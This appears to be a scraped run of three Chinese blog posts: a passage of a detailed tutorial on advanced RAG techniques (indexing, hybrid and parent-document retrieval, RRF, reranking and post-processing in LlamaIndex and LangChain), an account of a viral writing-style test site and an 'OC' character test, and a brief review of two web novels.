分块完成后,我们接下来就要为每个分块计算 Embedding 向量,这里有很多嵌入模型可供选择,比如 BAAI 的 bge-large,微软的 multilingual-e5-large,OpenAI 的 text-embedding-3-large 等,可以在 MTEB 排行榜 上了解最新的模型更新情况。
词嵌入技术经历了一个从静态到动态的发展过程,静态嵌入为每个单词使用单一向量,而动态嵌入根据单词的上下文进行调整,可以捕获上下文理解。排行榜上排名靠前的基本上都是动态嵌入模型。
此外,关于嵌入模型的优化,通常围绕着嵌入模型的微调展开,将嵌入模型定制为特定领域的上下文,特别是对于术语不断演化或罕见的领域,可以参考下面的一些教程:
值得一提的是,嵌入不仅仅限于文本,我们还可以创建图像或音频的嵌入,并将其与文本嵌入进行比较,这个概念适用于强大的图像或音频搜索、分类、描述等系统。
在上面的查询构造一节,我们学习了如何实现 Text-to-Cypher,根据用户的问题生成图查询语句,从而实现图数据库的问答。查询构造依赖的是现有的图数据库,如果用户没有图数据库,数据散落在各种非结构化文档中,那么我们在查询之前可能还需要先对文档进行预处理,LlamaIndex 和 LangChain 都提供了相应的方法,让我们可以快速从杂乱的文档中构建出图谱数据。
LlamaIndex 可以通过 KnowledgeGraphIndex 实现:
from llama_index.core import KnowledgeGraphIndex
index = KnowledgeGraphIndex.from_documents(
documents,
storage_context=storage_context,
max_triplets_per_chunk=10,
space_name=space_name,
edge_types=edge_types,
rel_prop_names=rel_prop_names,
tags=tags,
include_embeddings=True,
)
KnowledgeGraphIndex
默认使用大模型自动从文档中抽取出实体以及他们之间的关系,也就是所谓的 三元组(Triplet),并将抽取出来的关系存入图数据库中,这个构建的过程可能会很长,构建完成后,就可以通过 index.as_query_engine()
将其转换为 RetrieverQueryEngine
来实现问答:
query_engine = index.as_query_engine(
include_text=True, response_mode="tree_summarize"
)
response = query_engine.query("Tell me more about Interleaf")
此外,KnowledgeGraphIndex
还提供了一个 kg_triplet_extract_fn
参数,可以让用户自定义抽取三元组的逻辑:
index = KnowledgeGraphIndex.from_documents(
documents,
kg_triplet_extract_fn=extract_triplets,
service_context=service_context
)
我们可以结合一些传统 NLP 里的关系抽取模型,比如 REBEL 来实现图谱构建,参考 Rebel + LlamaIndex Knowledge Graph Query Engine 和 Knowledge Graph Construction w/ WikiData Filtering 这两个示例。
其中,
documents
也可以设置成一个空数组,这样也可以实现基于现有的图数据库来问答,和KnowledgeGraphRAGRetriever
的效果一样:index = KnowledgeGraphIndex.from_documents([], storage_context=storage_context)
LangChain 也提供了一个类似的类 LLMGraphTransformer 来实现图谱构建:
from langchain_experimental.graph_transformers import LLMGraphTransformer
llm_transformer = LLMGraphTransformer(llm=llm)
graph_documents = llm_transformer.convert_to_graph_documents(documents)
graph.add_graph_documents(graph_documents)
除了上面所介绍的向量索引(VectorStoreIndex
)和图谱索引(KnowledgeGraphIndex
),LlamaIndex 还提供了一些其他的索引策略,比如 SummaryIndex、TreeIndex、KeywordTableIndex 等。
在我看来,索引其实就是文档的组织方式,不同的索引代表不同的存储形式或数据结构,比如 VectorStoreIndex
以向量形式存储,KnowledgeGraphIndex
以图谱形式存储,SummaryIndex
以链表形式存储,TreeIndex
以树形式存储,KeywordTableIndex
以倒排索引形式存储。How Each Index Works 这份指南对不同索引的工作原理用图文的方式进行了通俗的讲解。
构建索引的目的是为了更快的检索,无论是 LlamaIndex 还是 LangChain 都提供了大量的 检索器(Retriever)。检索器可以针对单个索引,在 LlamaIndex 中这被称为 索引检索(Index Retrievers),不同的索引又可以有不同的 检索模式;检索器也可以组合不同检索技术,比如上面所学习的查询转换、查询路由、查询构造也都需要配合相应的检索策略来进行,下面还会学习一些其他的检索策略,比如父文档检索、混合检索等。
上面学习了很多了索引,从索引中检索是最简单也最基础的检索策略。LlamaIndex 中的所有 Index 都有一个 as_retriever()
方法,方便从索引中快速检索出想要的内容:
retriever = index.as_retreiver()
nodes = retriever.retrieve("<user question>")
在 LlamaIndex 中,不同的 Index 还可以有 不同的检索模式,比如使用 SummaryIndex
的 llm
模式:
retriever = summary_index.as_retriever(
retriever_mode="llm"
)
LangChain 中的 Vector Store 也有一个 as_retriever()
方法用于检索,这被称为 Vector store-backed retriever:
retriever = db.as_retriever()
docs = retriever.invoke("<user question>")
当我们对文档进行分块的时候,我们可能希望每个分块不要太长,因为只有当文本长度合适,嵌入才可以最准确地反映它们的含义,太长的文本嵌入可能会失去意义;但是在将检索内容送往大模型时,我们又希望有足够长的文本,以保留完整的上下文。为了实现二者的平衡,我们可以在检索过程中,首先获取小的分块,然后查找这些小分块的父文档,并返回较大的父文档,这里的父文档指的是小分块的来源文档,可以是整个原始文档,也可以是一个更大的分块。LangChain 提供的 父文档检索器(Parent Document Retriever) 和 LlamaIndex 提供的 自动合并检索器(Auto Merging Retriever) 就是使用了这种策略;这种将嵌入的内容(用于检索)和送往大模型的内容(用于答案生成)分离的做法是索引设计中最简单且最有用的想法之一,它的核心理念是,检索更小的块以获得更好的搜索质量,同时添加周围的上下文以获取更好的推理结果。
除了对文档进行分割获取小块,我们也可以使用大模型对文档进行摘要,然后对摘要进行嵌入和检索,这种方法对处理包含大量冗余细节的文本非常有效,这里的原始文档就相当于摘要的父文档。另一种思路是通过大模型为每个文档生成 假设性问题(Hypothetical Questions),然后对问题进行嵌入和检索,也可以结合问题和原文档一起检索,这种方法提高了搜索质量,因为与原始文档相比,用户查询和假设性问题之间的语义相似性更高。我们可以使用 LlamaIndex 提供的 SummaryExtractor 和 QuestionsAnsweredExtractor 来生成摘要和问题。
下图展示了这三种检索方法和原始检索方法的一个对比:
在 这篇文章 中,作者综合使用了 Neo4j 的向量搜索和图搜索能力,对上面三种检索方法进行了实现,可供参考。首先,作者对原始文档依次进行分块、总结和生成假设性问题,并将生成的子文档和父文档存储在 Neo4j 图数据库中:
其中,紫色节点是父文档,长度为 512 个 token,每个父文档都有多个子节点:橙色节点包含将父文档切分成更小的子文档;蓝色节点包含针对父文档生成的假设性问题;红色节点包含父文档的摘要。
然后通过下面的代码对子文档进行检索:
parent_query = """
MATCH (node)<-[:HAS_CHILD]-(parent)
WITH parent, max(score) AS score // deduplicate parents
RETURN parent.text AS text, score, {} AS metadata LIMIT 1
"""
parent_vectorstore = Neo4jVector.from_existing_index(
OpenAIEmbeddings(),
index_name="parent_document",
retrieval_query=parent_query,
)
假设我们有大量的文档需要检索,为了高效地在其中找到相关信息,一种高效的方法是创建两个索引:一个由摘要组成,另一个由文档块组成,然后分两步搜索,首先通过摘要筛选出相关文档,然后再在筛选出的文档中搜索。
这在 LlamaIndex 中被称为 Hierarchical Retrieval。
在上面的父文档检索中我们也举了一个检索摘要的例子,和这里的层级检索很相似,其区别在于父文档检索只检索一次摘要,然后由摘要扩展出原始文档,而层级检索是通过检索摘要筛选出一批文档,然后在筛选出的文档中执行二次检索。
在上面学习查询扩展策略时,有提到 RAG 融合(RAG Fusion) 技术,它根据用户的原始问题生成意思相似但表述不同的子问题并检索。其实,我们还可以结合不同的检索策略,比如最常见的做法是将基于关键词的老式搜索和基于语义的现代搜索结合起来,基于关键词的搜索又被称为 稀疏检索器(sparse retriever),通常使用 BM25、TF-IDF 等传统检索算法,基于语义的搜索又被称为 密集检索器(dense retriever),使用的是现在流行的 embedding 算法。
在 LangChain 中,可以使用 EnsembleRetriever 来实现混合检索,LlamaIndex 中的 QueryFusionRetriever 也能实现类似的功能,Simple Fusion Retriever 和 Reciprocal Rerank Fusion Retriever 是两个基于 QueryFusionRetriever
实现混合检索的示例。
混合检索将两种或多种互补的检索策略结合在一起,通常能得到更好的检索结果,其实现并不复杂,它的关键技巧是如何正确地将不同的检索结果结合起来,这个问题通常是通过 倒数排名融合(Reciprocal Rank Fusion,RRF) 算法来解决的,RRF 算法对检索结果重新进行排序从而获得最终的检索结果。
RRF 是滑铁卢大学和谷歌合作开发的一种算法,它可以将具有不同相关性指标的多个结果集组合成单个结果集,这里是 它的论文地址,其中最关键的部分就是下面这个公式:
其中,D 表示文档集,R 是从 1 到 |D| 的排列,k 是一个常量,默认值为 60.
为了对这个公式有个更直观的理解,我们不妨执行下 RAG Fusion 开源的代码,执行结果如下:
Initial individual search result ranks:
For query '1. Effects of climate change on biodiversity': {'doc7': 0.89, 'doc8': 0.79, 'doc5': 0.72}
For query '2. Economic consequences of climate change': {'doc9': 0.85, 'doc7': 0.79}
For query '3. Health impacts of climate change': {'doc1': 0.8, 'doc10': 0.76}
For query '4. Solutions to mitigate the impact of climate change': {'doc7': 0.85, 'doc10': 0.8, 'doc1': 0.74, 'doc9': 0.71}
Updating score for doc7 from 0 to 0.016666666666666666 based on rank 0 in query '1. Effects of climate change on biodiversity'
Updating score for doc8 from 0 to 0.01639344262295082 based on rank 1 in query '1. Effects of climate change on biodiversity'
Updating score for doc5 from 0 to 0.016129032258064516 based on rank 2 in query '1. Effects of climate change on biodiversity'
Updating score for doc9 from 0 to 0.016666666666666666 based on rank 0 in query '2. Economic consequences of climate change'
Updating score for doc7 from 0.016666666666666666 to 0.03306010928961749 based on rank 1 in query '2. Economic consequences of climate change'
Updating score for doc1 from 0 to 0.016666666666666666 based on rank 0 in query '3. Health impacts of climate change'
Updating score for doc10 from 0 to 0.01639344262295082 based on rank 1 in query '3. Health impacts of climate change'
Updating score for doc7 from 0.03306010928961749 to 0.04972677595628415 based on rank 0 in query '4. Solutions to mitigate the impact of climate change'
Updating score for doc10 from 0.01639344262295082 to 0.03278688524590164 based on rank 1 in query '4. Solutions to mitigate the impact of climate change'
Updating score for doc1 from 0.016666666666666666 to 0.03279569892473118 based on rank 2 in query '4. Solutions to mitigate the impact of climate change'
Updating score for doc9 from 0.016666666666666666 to 0.032539682539682535 based on rank 3 in query '4. Solutions to mitigate the impact of climate change'
Final reranked results: {'doc7': 0.04972677595628415, 'doc1': 0.03279569892473118, 'doc10': 0.03278688524590164, 'doc9': 0.032539682539682535, 'doc8': 0.01639344262295082, 'doc5': 0.016129032258064516}
Final output based on ['1. Effects of climate change on biodiversity', '2. Economic consequences of climate change', '3. Health impacts of climate change', '4. Solutions to mitigate the impact of climate change'] and reranked documents: ['doc7', 'doc1', 'doc10', 'doc9', 'doc8', 'doc5']
首先针对原始问题生成四个不同的问题,然后针对不同的问题分别执行检索得到不同的文档排名:
{'doc7': 0.89, 'doc8': 0.79, 'doc5': 0.72}
{'doc9': 0.85, 'doc7': 0.79}
{'doc1': 0.8, 'doc10': 0.76}
{'doc7': 0.85, 'doc10': 0.8, 'doc1': 0.74, 'doc9': 0.71}
可以看到每次检索出来的文档都不一样,就算是相同文档,得分也不一样。为了计算每个文档的最终排名,我们使用 RRF 公式对每个文档计算 RRF 分数,这里以 doc7
为例,该文档一共出现了三次,在问题 1 的检索中排名第一,问题 2 的检索中排名第二,问题 4 的检索中排名第一,所以它的得分计算如下:
RRF7 = 1/(1+60) + 1/(2+60) + 1/(1+60) = 0.049
使用类似的方法计算其他文档的得分,最终得到所有文档的最终排名。
从 RRF 分数的计算中,我们可以看出,RRF 不依赖于每次检索分配的绝对分数,而是依赖于相对排名,这使得它非常适合组合来自可能具有不同分数尺度或分布的查询结果。
值得注意的是,现在有很多数据库都原生支持混合检索了,比如 Milvus、Qdrant、OpenSearch、Pinecone 等,Elasticsearch 的最新版本中也 支持 RRF 检索。对于这些支持混合检索的数据库,LlamaIndex 提供了一种简单的方式:
query_engine = index.as_query_engine(
...,
vector_store_query_mode="hybrid",
alpha=0.5, # 指定向量搜索和关键字搜索之间的加权
...
)
对于同一份文档,我们可以有多种嵌入方式,也就是为同一份文档生成几种不同的嵌入向量,这在很多情况下可以提高检索效果,这被称为 多向量检索器(Multi-Vector Retriever)。为同一份文档生成不同的嵌入向量有很多策略可供选择,上面所介绍的父文档检索就是比较典型的方法。
除此之外,当我们处理包含文本和表格的半结构化文档时,多向量检索器也能派上用场,在这种情况下,可以提取每个表格,为表格生成适合检索的摘要,但生成答案时将原始表格送给大模型。有些文档不仅包含文本和表格,还可能包含图片,随着多模态大模型的出现,我们可以为图像生成摘要和嵌入。
LangChain 的 这篇博客 对多向量检索做了一个全面的描述,并提供了大量的示例,用于表格或图片等多模任务的检索:
这是打造 RAG 系统的最后一个问题,如何将检索出来的信息丢给大模型?检索出来的信息可能过长,或者存在冗余(比如从多个来源进行检索),我们可以在后处理步骤中对其进行压缩、排序、去重等。LangChain 中并没有专门针对后处理的模块,文档也是零散地分布在各个地方,比如 Contextual compression、Cohere reranker 等;而 LlamaIndex 对此有一个专门的 Postprocessor 模块,学习起来相对更体系化一点。
当检索结果太多时,与查询相关性最高的信息可能被埋在大量的无关文档中,如果将所有这些文档都传递到大模型,可能导致更昂贵的调用费用,生成的响应也更差。对检索结果进行过滤,是最容易想到的一种后处理方式。LlamaIndex 提供了下面这些过滤策略:
为每个检索结果按相似度打分,然后通过设置一个分数阈值进行过滤。
使用 spacy 的 短语匹配器(PhraseMatcher) 对检索结果进行检查,按包含或不包含特定的关键字进行过滤。
使用 nltk.tokenize 对检索出的每一条结果进行分句,然后通过计算每个分句和用户输入的相似性来过滤和输入不相干的句子,有两种过滤方式:threshold_cutoff
是根据相似度阈值来过滤(比如只保留相似度 0.75 以上的句子),percentile_cutoff
是根据百分位阈值来过滤(比如只保留相似度高的前 50% 的句子)。这种后处理方法可以极大地减少 token 的使用。
假设检索结果中有时间字段,我们可以按时间排序,然后取 topK 结果,这种策略对回答一些有关最近信息的问题非常有效。
和 FixedRecencyPostprocessor
类似,也是根据检索结果中的时间字段排序,只不过它不是取 topK,而是将旧文档和新文档比较,将相似度很高的旧文档过滤掉。
这种策略通过 时间加权(Time Weighted) 的方法对检索结果重新排序,然后再取 topK。每次检索时,对每一条检索结果设置一个最后访问时间,再通过下面的公式重新计算相似度分数:
hours_passed = (now - last_accessed) / 3600
time_similarity = (1 - time_decay) ** hours_passed
similarity = score + time_similarity
其中 hours_passed
指的是自上次访问以来经过的小时数,而 time_decay
是一个 0 到 1 之间的数值,该值由用户配置,值越低,表示记忆将会 “记住” 更长时间,值越高,记忆越容易 “遗忘”。可以看出 hours_passed
越大,time_similarity
就越小,这意味着经常访问的对象可以保持 “新鲜”,对于从没访问过的对象,hours_passed
为 0,这时 time_similarity
最大,这意味着检索更偏向于返回尚未查询过的信息。LangChain 也提供了 Time-weighted vector store retriever 实现相似的功能。
根据 Nelson F. Liu 等人在 Lost in the Middle: How Language Models Use Long Contexts 这篇论文中的研究,当前的大模型并没有充分利用上下文中的信息:当相关信息出现在上下文的开头或结尾时,性能往往最高,而当模型必须在长上下文的中间访问相关信息时,性能会显著下降。
基于这个结论,我们可以将检索出的最相关的片段分布在上下文的开头和结尾,而不是直接按相关性排序,比如检索结果是 1 2 3 4 5 6 7 8 9,重排序后可以是 1 3 5 7 9 8 6 4 2,这就是 Long-Context Reorder 的核心思路。
LangChain 也支持 Long-Context Reorder。
此外,LangChain 中的 ContextualCompressionRetriever 也支持一些不同的过滤策略:
这个过滤器依次将检索文档丢给大模型,让大模型从文档中抽取出和用户问题相关的片段,从而实现过滤的功能。
这个过滤器相比 LLMChainExtractor
稍微简单一点,它直接让大模型判断文档和用户问题是否相关,而不是抽取片段,这样做不仅消耗更少的 token,而且处理速度更快,而且可以防止大模型对文档原始内容进行篡改。
和 LlamaIndex 的 SimilarityPostprocessor
类似,计算每个文档和用户问题的相似度分数,然后通过设置一个分数阈值进行过滤。
这个过滤器虽然名字和 EmbeddingsFilter
类似,但是实现原理是不一样的,它不是计算文档和用户问题之间的相似度,而是计算文档之间的相似度,然后把相似的文档过滤掉,有点像 LlamaIndex 的 EmbeddingRecencyPostprocessor
。
在上面的过滤策略中,我们经常会用到 Embedding 来计算文档的相似性,然后根据相似性来对文档进行排序,这里的排序被称为 粗排,我们还可以使用一些专门的排序引擎对文档进一步排序和过滤,这被称为 精排。LlamaIndex 支持下面这些重排序策略:
Cohere AI 是一家加拿大初创公司,提供自然语言处理模型,帮助公司改善人机交互。可以使用 Cohere 提供的 Rerank API 来对文档进行相关性重排,过滤不相干的内容从而达到压缩的效果。
使用之前需要先申请和配置
COHERE_API_KEY
,并安装 Python 依赖pip install llama-index-postprocessor-cohere-rerank
。
LangChain 也集成了 Cohere 的 Rerank API,参考 这里。
Jina AI 总部位于柏林,是一家领先的 AI 公司,提供一流的嵌入、重排序和提示优化服务,实现先进的多模态人工智能。可以使用 Jina 提供的 Rerank API 来对文档进行精排。
使用之前需要先申请和配置
JINAAI_API_KEY
,并安装 Python 依赖pip install llama-index-postprocessor-jinaai-rerank
。
除了使用商业服务,我们也可以使用一些本地模型来实现重排序。比如 sentence-transformer 包中的 交叉编码器(Cross Encoder) 可以用来重新排序节点。
LlamaIndex 默认使用的是 cross-encoder/ms-marco-TinyBERT-L-2-v2
模型,这个是速度最快的。为了权衡模型的速度和准确性,请参考 sentence-transformer 文档,以获取更完整的模型列表。
另一种实现本地重排序的是 ColBERT 模型,它是一种快速准确的检索模型,可以在几十毫秒内对大文本集合进行基于 BERT 的搜索。
使用时需要安装 Python 依赖
pip install llama-index-postprocessor-colbert-rerank
。
我们还可以使用大模型来做重排序,将文档丢给大模型,然后让大模型对文档的相关性进行评分,从而实现文档的重排序。下面是 LlamaIndex 内置的用于重排序的 Prompt:
DEFAULT_CHOICE_SELECT_PROMPT_TMPL = (
"A list of documents is shown below. Each document has a number next to it along "
"with a summary of the document. A question is also provided. \n"
"Respond with the numbers of the documents "
"you should consult to answer the question, in order of relevance, as well \n"
"as the relevance score. The relevance score is a number from 1-10 based on "
"how relevant you think the document is to the question.\n"
"Do not include any documents that are not relevant to the question. \n"
"Example format: \n"
"Document 1:\n<summary of document 1>\n\n"
"Document 2:\n<summary of document 2>\n\n"
"...\n\n"
"Document 10:\n<summary of document 10>\n\n"
"Question: <question>\n"
"Answer:\n"
"Doc: 9, Relevance: 7\n"
"Doc: 3, Relevance: 4\n"
"Doc: 7, Relevance: 3\n\n"
"Let's try this now: \n\n"
"{context_str}\n"
"Question: {query_str}\n"
"Answer:\n"
)
RankGPT 是 Weiwei Sun 等人在论文 Is ChatGPT Good at Search? Investigating Large Language Models as Re-Ranking Agents 中提出的一种基于大模型的 zero-shot 重排方法,它采用了排列生成方法和滑动窗口策略来高效地对段落进行重排序,具体内容可以参考 RankGPT 的源码。
使用时需要安装 Python 依赖
pip install llama-index-postprocessor-rankgpt-rerank
。
RankLLM 和 RankGPT 类似,也是利用大模型来实现重排,只不过它的重点放在与 FastChat 兼容的开源大模型上,比如 Vicuna 和 Zephyr 等,并且对这些开源模型专门为重排任务进行了微调,比如 RankVicuna 和 RankZephyr 等。
当前 RankLLM 依赖于 CUDA,且需要安装 JDK、PyTorch、Faiss 等依赖,使用时还需要安装 Python 依赖
pip install llama-index-postprocessor-rankllm-rerank
。
除了对检索结果进行压缩过滤,我们也可以对检索结果进行增强。在上面的父文档检索一节中,我们提到,通过检索更小的块可以获得更好的搜索质量,然后通过扩大上下文范围可以获取更好的推理结果,句子窗口检索 使用的也是这个思想。它首先将文档分割成一个个句子,一句话相比于一段话来说,语义可能要更接近于用户的问题;每个句子包含一个窗口,也就是前后几句话,当检索出语义相近的句子后,将每个句子替换为包含前后句子的窗口。可以看到整个过程和父文档检索几乎是一样的,但是 LlamaIndex 为了区别其实现方式,将其放在了后处理模块,而不是检索模块。
LlamaIndex 的文档中有一个示例 Metadata Replacement + Node Sentence Window 演示了句子窗口检索的实现,首先使用 SentenceWindowNodeParser
将文档分割为 Node 列表,每个 Node 对应一个句子,并将前后 3 个句子放在 Node 的元数据中:
from llama_index.core.node_parser import SentenceWindowNodeParser
node_parser = SentenceWindowNodeParser.from_defaults(
window_size=3,
window_metadata_key="window",
original_text_metadata_key="original_text",
)
nodes = node_parser.get_nodes_from_documents(documents)
然后对分割后的句子构建向量索引和查询引擎,最后将 MetadataReplacementNodePostProcessor
设置为查询引擎的后处理模块即可:
from llama_index.core import VectorStoreIndex
from llama_index.core.postprocessor import MetadataReplacementPostProcessor
sentence_index = VectorStoreIndex(nodes)
query_engine = sentence_index.as_query_engine(
similarity_top_k=2,
node_postprocessors=[
MetadataReplacementPostProcessor(target_metadata_key="window")
],
)
句子窗口检索通过扩大上下文范围来获取更好的推理结果,其实,LlamaIndex 中还有另外两个后处理器也使用了这种策略:PrevNextNodePostprocessor
和 AutoPrevNextNodePostprocessor
,他们将检索结果的前后内容也一并送往大模型,所以也被称为 前向/后向增强(Forward/Backward Augmentation),这在回答一些关于某个时间点之前或之后的问题时非常有用。
如上图所示,用户的问题是 “作者在 YC 之后的时间里都做了啥?”,如果使用传统的检索方法,可能只检索到作者在 YC 期间的活动,很显然我们可以将文档后面的内容都带出来,更利于大模型的回答。PrevNextNodePostprocessor
通过手动设定向前或向后增强,而 AutoPrevNextNodePostprocessor
通过大模型自动判断是否要向前或向后增强。
检索的文档中可能含有如用户名、身份证、手机号等敏感信息,这类信息统称为 PII(Personal Identifiable Information、个人可识别信息),如果将这类信息丢给大模型生成回复,可能存在一定的安全风险,所以需要在后处理步骤中将 PII 信息删除。LlamaIndex 提供了两种方式来 删除 PII 信息:使用大模型(PIINodePostprocessor
)和使用专用的 NER 模型(NERPIINodePostprocessor
)。
一个基于 RAG 的应用不仅要提供答案,还要提供答案的引用来源,这样做有两个好处,首先,用户可以打开引用来源对大模型的回复进行验证,其次,方便用户对特定主体进行进一步的深入研究。
这里是 Perplexity 泄露出来的 Prompt 可供参考,这里是 WebLangChain 对其修改后的实现。在这个 Prompt 中,要求大模型在生成内容时使用 [N]
格式表示来源,然后在客户端解析它并将其呈现为超链接。
这篇博客断断续续地写了将近三个月,最初想写 RAG 这个主题是因为在网上看到 IVAN ILIN 大神的 Advanced RAG Techniques: an Illustrated Overview 这篇博客,看完之后我深受启发,感叹 RAG 技巧之多之杂,于是打算写一篇笔记记录总结一下。我是一个实践狂,在写的过程中,想着把每种技巧都一一实践一遍,由点到线,由线到面,这才发现自己掉入了一个大坑,关于 RAG 的内容远远不是一篇笔记能概括的,于是越陷越深,发现自己不懂的东西也越来越多,笔记的篇幅也越来越长。
RAG 是一门实践学科,它参考了大量的传统搜索技术,比如上面学习的 RAG 融合、查询重写等,都是 Google 多少年之前玩剩下的。学习之余,不得不佩服前人的智慧,同时也提醒我们学习传统技术的重要性,有很多新技术都是基于传统技术的再包装。
这篇博客几乎包括了打造 RAG 系统的方方面面,综合了 LlamaIndex 和 LangChain 两个著名的 LLM 开发框架,对 RAG 中的各种高级技巧进行了详细讲解和实践。尽管如此,还是有很多内容没有介绍到,比如 LlamaIndex 最近比较火的 Agentic RAG 概念,如何对 RAG 的效果进行评估,模型的微调(这包括 Embedding 的微调、Re-ranking 的微调、LLM 的微调),等等这些话题。
博客篇幅较长,难免疏漏,如果有任何问题,欢迎留言指正。这篇博客仅仅作为一个引子,希望拓宽读者对 RAG 领域的视野,并引导读者踏上一场 RAG 的探索之旅。如果探索过程中有任何发现,也欢迎与我分享!
过去 2 周,在 AI 技术圈极少有人知晓的情况下,一个叫做「文风测试」的小网站已经红透了半个社交网络。
文风测试是一个非常简单的网站,你复制你写的文字进去,然后它告诉你,你的写作风格接近哪些作家。
大概 2 周前,我在小红书上发现了有人在介绍文风测试,然后迅速被其效果和风格吸引,但是当我试图打开网站的时候却发现,这个网站打不开,页面显示 502,502 错误往往代表网站不堪重负,也从另一个侧面提示了我,这个网站可能正在承接大量的流量。
我的兴趣更大了,反复刷新依然打不开之后,于是我尝试直接通过 Google 缓存的网页来打开,并终于看到了网站的样子,通过 Google 缓存的网页,我找到了开发者的联系方式,并有点冒昧的直接添加了对方,此时已经是深夜十一点。
和开发者之一的 Ankie 聊了几句之后,我们就直接通了电话,后来另一位全栈工程师也加入了,我们聊了大约 1 个小时,一方面我为这个「全女生」团队的创意,纯粹和执行力感到敬佩,另一方面则对她们互联网产品的基础技术能力之低感到难以置信,但这并不妨碍这个小产品在接下来的好几天里成为多个社交平台的「AI顶流」。
文风测试共有三位主创,其中一位负责模型和算法,另一位则负责前后端全栈,此外还有一位设计师。全栈工程师的专业其实是政治经济,出于兴趣刚刚开始自学网页开发,因此,在网页里能看到很多「上古元素」,例如直接向当前页面发请求,没有任何统计代码,没有前后端分离等等,只需要右键查看网页元素,就能梦回 20 年前。
负责算法和模型的 Ankie 还在上学,学习的正是 AI 方向,因此,和很多人想的不一样,文风测试并没有使用任何大模型,而是 Ankie自己训练的一个小模型,模型小到可以在 CPU 上运行,这其实才是对的——在大模型淹没一起的今天,我们似乎已经忘记了,其实很多场景根本没必要用大模型。事实上,用大模型来做风格鉴定这件事,反而效果极差。
另一个 Ankie 决定使用自己的小模型的原因是,她看到之前有人做大模型哄对象的应用,然后其开发者说亏了几千美金,这人是谁我就不提了,总之 Ankie 很好的吸取了经验教训,使得文风测试能够一直以极低的成本运行。
除了在技术上提供一些小帮助外,我还试图积极的帮 Ankie 在如何赚钱或者商业化上出谋划策,但我很快被她们的纯粹打动了,她们真的不想获得什么商业上的回报,和哄哄类似,这是一个完全由兴趣驱动,并只为兴趣服务的小工具。
过去 2 周,总共有近百万人使用了文风测试来测试他们自己的文风(考虑到在我告诉她们得加 Google analytics 之前,流量都甚至没统计过,实际人数可能更多),其背后的模型则依靠 4 台 CPU 服务器来提供服务,在极致的性能压榨下,总共的成本不到 500 元。
在和 Ankie 的交流中,我了解到使用文风测试的绝大部分是二次元圈子里的用户,并因此和许多用户产生沟通,聊着聊着,我就聊出了一个小需求:oc 分析。
不在二次元圈子里,可能完全不知道 oc 是什么意思,oc 本意是自创角色 (Original Character),许多二次元心中都会在心里创建一个理想的角色,这个角色可能脱胎于看过的动漫作品,也可能是完全自己「捏」的,角色会有自己的设定,偏好,外貌,经历的事件,这一切都是用户设定的。
我知道对于像我这样的「大人」来说,oc 听上去就像是某一种过家家,但其实我从来没有忘记二十年前的那个下午,我和邻居小孩走在放学的路上,边走边聊,我自称旋风战士,他管自己叫墩墩侠,我们时而在城楼并肩作战,时而从云端跃入一段异世界的红尘往事,夕阳照在我们身上,是两个小学生的屁颠颠的背影。
oc 对很多年纪不大的喜欢二次元的人们来说,是一个自然甚至必然的爱好,因为这群人就是有许多想象力,许多创造力,而这个世界又不那么能满足。
当 oc 被创建出来之后,人们自然希望能够和其发生更多连接,因此,聊天,将其转成图片,都成了「搞oc」的方式,也因此诞生了许多相关的产品。
我的 idea 很简单,类似于文风测试,用户可以输入自己的 oc 设定,然后看到最接近的动漫角色是谁。
这个产品简单到不可思议,如果说哄哄模拟器还有一点开发量的话,这样一个简单的测试小工具,几乎就是一个两三个小时能做完的事情,所以我在想到 idea 后,迅速花了2个小时的午休时间进行开发,然后在下午就上线了。
上线之后,我和 Ankie 聊了一下,她觉得很有意思,于是帮我转给了她的朋友以及文风测试的一些用户,没想到 oc 成分测试迅速在二次元群体中传播开了,相关的帖子在2小时内得到了 3000 个转发,而从我这里,最直观的感受就是看到流量飞速上涨。
从晚上10点开始,流量每隔半个小时就翻一倍,到凌晨 1 点,网站的即时在线人数已经突破了 1.5 万人,我不知道这群人是不是不睡觉,但是我此时已经困的不行,最后看了一眼数据就倒床入睡了。
第二天流量达到高峰,单日 20 万人来此一游,随后的一周,流量逐渐降低,并回落到 1万左右的 DAU
oc 成分测试既是一个小玩具,又给我们团队的产品进行精准的导流,这部分效果好到不可思议,过去一周,oc 成分测试大约有 30 万人访问,给我们带来了数万 app 下载的转化。
当然,和哄哄模拟器一样,oc 测试和文风测试都有自己的生命周期,称之为「一波流」也并无不可,但在这两个小产品上,我觉得结果都很圆满,文风测试用小模型反过来替代大模型,从而实现成本的绝对优势,主创团队「写论文,练代码」的愿望也超出预期的达成了。oc成分测试是我关于流量的一次实验,它验证了我们团队对一个新的用户群体的理解,从更实际的角度,它也实现了极高效的结果转化——算上大模型的成本,每个 app 安装成本也仅为 2 毛钱。
过去半年,不断有比较单一的 AI 内容产品上线,但在我看来,它们更像是某种模型厂的 KPI 产物——没有从真实的需求出发(哪怕这个需求是有趣),也没有真正的给到目标受众,大多数时候,这些产品只会在几个 AI 交流群中流转。
这种现象过多,加之哄哄模拟器其实也没有什么确定的结果(除了开了一个好头之外),导致我一度对于这种「一波流」充满怀疑。直到现在,我想我终于看到了一些新的,不一样的可能性。
我依稀感觉到,AI 提供核心能力的内容(产品),哪怕是单一形态或一波流,在非 AI 或互联网圈里成为爆款,也是足以完成很多目标的,而这可能是有方法论,可以被复现的。
对踌躇满志的2C AI 创业者来说,这或许不是最终目的本身,但路能行至此,我觉得也算是有所收获。
最近大概是无聊了,又有京东读书的 VIP,闲着无聊就看了两本网络流行小说(俗称网文)。这两部网文套路也比较烂俗,一部是穿越文,另一部是重生文,主打就是信息不对称、全方面碾压,各类女主哭着喊着要和男主生猴子。
其实我并不反感这些套路,只要情节跌宕起伏、心路婉转缠绵、没有明显的反智或者降智、行文流畅不中二就OK。就像平时生活中我也喜欢吃肯德基、麦当劳,这类快餐类网文没什么不好,看着心情愉悦,不需要思考,同时还能满足一下生活中无法实现的小幻想,挺好的。我特别不喜欢那种虐的网文,毕竟我是来吃快餐,不是来吃屎。
只是这类网文都很明显的按照游戏脚本的路子写,情节展开、人物描写等各方面有很强烈的网络游戏色彩,估计作者写的时候就考虑了将来 IP 资源商业化。过度商业化的考虑还导致这些网文篇幅极其长,都是上千章、数百万字(对,百万)、工具人茫茫多,看得好累。
文章太长自然就导致最后写崩了。两部都写崩了,穿越文铺得太大,没法收尾,感觉要烂尾了;而重生文最后也是工具人(包括主角等)都不管不顾了。
比较好的一点是对人物关系、对情感的描写。虽然都写了很多莺莺燕燕,好在文笔比较细腻,没有写成种马文,不过最后收尾都没收好,这也算另一种写崩了吧。
这两部网文我觉得如果砍掉最后三分之一的篇幅,干净利落的结尾反而会好一些,人物关系、情节发展给读者留下足够的想象空间(只是作者的商业利益可能会受损)。
